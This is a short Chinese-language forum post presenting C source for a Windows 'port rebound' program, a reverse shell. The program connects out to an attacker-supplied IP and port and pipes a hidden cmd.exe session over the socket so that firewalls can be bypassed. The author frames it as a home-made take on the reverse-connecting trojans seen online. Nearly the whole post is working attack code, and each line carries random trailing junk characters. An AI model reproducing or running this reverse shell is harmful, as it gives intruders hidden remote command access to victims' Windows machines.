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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /)Ga<  
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/* ============================== o*\Fj}l-  
Rebound port in Windows NT QzV Q}  
By wind,2006/7 x=Ef0v  
===============================*/ 3m2hB%SNb  
#include CFo>D\*J  
#include  nIWZo ~  
tCoT-\Q  
#pragma comment(lib,"wsock32.lib") st91r V$y?  
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void OutputShell(); ZA1u  
SOCKET sClient; D\"F?>  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #`kLU:  
{:peArO  
void main(int argc,char **argv) (g>8!Gl  
{ x(r>iy  
WSADATA stWsaData; TOH!vQP  
int nRet; h3.6<vM  
SOCKADDR_IN stSaiClient,stSaiServer; 57nSyd] PR  
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if(argc != 3) G]DSwtB?D  
{ vh29mzum  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7Pb: z4j  
return; {Z~5#<t  
} gGdt&9z %  
/b ]Yya#  
WSAStartup(MAKEWORD(2,2),&stWsaData); cN]e{|  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k|kn#X3X  
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stSaiClient.sin_family = AF_INET; gk-g!v&  
stSaiClient.sin_port = htons(0); e<.O'!=7Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); reO^_q'  
cV|u]ce%1  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CVk.Ez6  
{ -~PiPYX  
printf("Bind Socket Failed!\n"); "}91wfG9  
return; @)i A V1r"  
} ()[j<KX{.  
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stSaiServer.sin_family = AF_INET; $N@EH;{_0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~a5-xWEZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F4o)6+YM   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E;*JD x  
{ 4/_@F>I_  
printf("Connect Error!"); M2{AaYgD  
return; ]&oQ6  
} Pr>Pxsr&  
OutputShell(); >I*Qc<X91  
} ,o?yS>L_r  
=x QLf4>  
void OutputShell() \R}`S`fIw`  
{ rhr(uCp/  
char szBuff[1024]; v \xuq`  
SECURITY_ATTRIBUTES stSecurityAttributes; x!@3.$  
OSVERSIONINFO stOsversionInfo; X{-@3tG<r  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Lt<KRs  
STARTUPINFO stStartupInfo; S*0P[R  
char *szShell; ";>>{lYA.  
PROCESS_INFORMATION stProcessInformation; <0%X:q<  
unsigned long lBytesRead; (hb\1 wZ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $t1XoL  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jO5R0^w  
stSecurityAttributes.lpSecurityDescriptor = 0; !+F6Bf  
stSecurityAttributes.bInheritHandle = TRUE; 'K8emt$d+  
C{5^UCJkg  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I7Uj<a=(q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K]bw1K K  
S2!$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0r|mg::'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Da@H^  
stStartupInfo.wShowWindow = SW_HIDE; "&Y5Nh  
stStartupInfo.hStdInput = hReadPipe; :t'*fHi~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4ne95_i  
l&2}/A  
GetVersionEx(&stOsversionInfo);  n}f*>Mn  
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switch(stOsversionInfo.dwPlatformId) Y, ?- []  
{ 0=,vdT  
case 1: AVR=\ qR  
szShell = "command.com"; DX H"`1[-  
break; #&oL iz=hZ  
default: -weCdTY`X  
szShell = "cmd.exe"; pT=YV k  
break; ~"t33U6  
} %K$f2):  
?F!='6D}b  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \i}:Vb(^  
+hW^wqk/.  
send(sClient,szMsg,77,0); j/h>G,>T=  
while(1) z4UJo!{S  
{ 'u)zQAaw.  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ar!`8"  
if(lBytesRead) 7^3a296  
{ E7c!KJ2  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); SFaG`T=  
send(sClient,szBuff,lBytesRead,0); i_KAD U&mP  
} 4uSC>  
else 2rG;j52))a  
{ InCJ4D  
lBytesRead=recv(sClient,szBuff,1024,0); 2b`3"S  
if(lBytesRead<=0) break; /Ayo78Pi  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >E:V7Fa  
} Af V a[{E  
} Pv>W`/*_,s  
$QbaPmHW  
return; zdh&,!] F6  
}
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